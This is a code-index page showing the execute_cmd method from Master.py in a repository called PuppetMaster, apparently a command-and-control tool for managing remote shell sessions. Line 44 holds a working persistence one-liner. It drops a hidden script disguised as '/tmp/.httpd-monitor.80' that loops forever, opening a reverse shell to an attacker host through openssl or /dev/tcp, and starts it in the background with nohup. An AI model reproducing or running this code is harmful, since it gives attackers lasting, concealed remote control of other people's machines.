MCPcopy Index your code
hub / github.com/R4be1/PuppetMaster / execute_cmd

Method execute_cmd

Master.py:46–53  ·  view source on GitHub ↗
(self, command)

Source from the content-addressed store, hash-verified

44 self.PersistenceCommand = f'(ps -ef|grep /tmp/.httpd-monitor.80|grep -v grep) || (echo "while true;do sleep 474;(mkfifo /tmp/-;bash -i</tmp/-|&openssl s_client -quiet -connect {reverse_host}:{reverse_ssl_port}>/tmp/-;rm /tmp/-)||(bash -i>&/dev/tcp/{reverse_host}/{reverse_tcp_port} 0>&1); done;">/tmp/.httpd-monitor.80 && chmod +x /tmp/.httpd-monitor.80 && (nohup bash /tmp/.httpd-monitor.80 >/dev/null 2>&1 &))'
45
46 async def execute_cmd(self, command):
47 command = command + "\n"
48 if self.current_session.get("writer") and self.current_session.get("reader"):
49 try:
50 self.current_session["writer"].write( command.encode() )
51 await self.current_session["writer"].drain()
52 except Exception as e:
53 print(e)
54
55
56Puppet_Master = PuppetMaster()

Callers 1

MasterConsoleFunction · 0.80

Calls

no outgoing calls

Tested by

no test coverage detected